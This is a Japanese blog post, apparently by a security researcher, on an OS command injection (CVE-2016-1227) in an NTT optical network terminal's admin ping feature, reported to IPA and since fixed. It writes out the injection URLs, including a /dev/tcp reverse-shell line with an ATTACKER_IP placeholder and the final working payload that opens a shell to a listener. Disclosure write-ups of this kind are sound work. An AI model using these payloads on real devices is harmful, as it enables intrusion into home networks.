NTTのONU(光回線終端装置)にある脆弱性

 

 

※2016年6月27日にIPAを介し、脆弱性修正が出来たとの連絡がありました。だいぶ前に書いた記事なのでおかしいところがあると思いますがので、後ほど修正します( ` ・ω・ ´ )

 

CVE-2016-1227:OS command injection

CVE-2016-1228:CSRF

となりました。

 

タイトル通りに、NTTから貸出されているONU(PR-400MI)に

OSコマンドインジェクションの脆弱性を見つけたので書こうと思います。

 

このONUの管理者画面には、LAN上の端末に対してpingテストをする機能があり、

そこのパラメータへOSコマンドを挿入することで発生します。

 

ブラウザ上で普通にテストをするとURL欄に変化がないので、chromeの開発者ツールを使い実際にONUに送信しているURLをゲット。

http://192.168.1.1/index.fcgi?gui_cmd_mnt_ping_view&PingTarget=192.168.1.2&cmd=gui_cmd_mnt_ping_execute

こんな感じのURLリクエスト。

 

あとは典型的にセミコロン区切りでコマンドを挿入するだけで、

http://192.168.1.1/index.fcgi?gui_cmd_mnt_ping_view&PingTarget=192.168.1.2;ls&cmd=gui_cmd_mnt_ping_execute

やったぜ。

f:id:Goyotan:20160221010908p:plain

 

あとは、ncとか使えばシェル取れそうだな~と思いつつ、リバースシェルのペイロードを送るも、ncなんか入ってないぞ。

と怒られる。

 

perlなりpythonなりで!(^^)

と、試行錯誤するも全部入ってない。

とりあえずwgetで何か落させればいいや。とwgetコマンド打つも

記述方法がちょっと違うことに気付く。

色々と調べてると、どうやらBusyBoxなるものが入っているらしい。

(組み込みシステムにみられるコマンド群)

 

なるほど、BusyBoxで使えるコマンドの中には他のLinuxで使えるコマンドが入ってないものもあるのか。

などなど知見を得ながらしばらく悩み、/dev/tcpを使ったリバースシェルの方法を知った。

bash -i >& /dev/tcp/ATTACKER_IP/8080 0>&1

やったぜと思いながら、

ip:192.168.1.6のubuntuで、nc -nvlp 4444 -vvvでリスナを建て、

http://192.168.1.1/index.fcgi?gui_cmd_mnt_ping_view&PingTarget=192.168.1.2;bash -i >& /dev/tcp/192.168.1.6/4444 0>&1&cmd=gui_cmd_mnt_ping_execute

上記のリクエストを送信すると。

 

500 Internal Server Error

 

まぁ、一発じゃできませんでした。

ここからが長かった、、、。

Reverse Shell Cheat Sheet

ここに書いてある別のペイロードを使うも、全部エラー。

また、煩わしいことに一度エラーになると再起動しなければならず、一回のリクエスト送信が慎重になり時間がかかってしまった。

 

だらだらと書くのもよくないので、やったことを書きます。

 

結論:

URLをなるべく短くする。

ペイロードの変更。

 

http://192.168.1.1/index.fcgi?PingTarget=192.168.1.2&cmd=gui_cmd_mnt_ping_execute

さらに、ping対象アドレスを抜くとエラーになるため、

http://192.168.1.1/index.fcgi?PingTarget=....&cmd=gui_cmd_mnt_ping_execute

と、....ドット4つでバイパスした。

 

最終的に、

http://192.168.1.1/index.fcgi?PingTarget=....;/bin/sh 0>/dev/tcp/192.168.1.6/4444 ;sh <&196 >&196 2>&196&cmd=gui_cmd_mnt_ping_execute

少しだけだが短くなり成功した。

 

そしてシェル開通。

f:id:Goyotan:20160221013735p:plain

 

標準入出力あたりが上手くいかなかったのか、

打ったコマンドの結果がブラウザ上でしか反映されなかったのが残念。

 

今回は身近なところにあったので楽しめた。

また、色々と新しいことが学べたのでいい経験にもなった。

今度は他のデバイスについても調べてみたい。

IPAには報告済みです。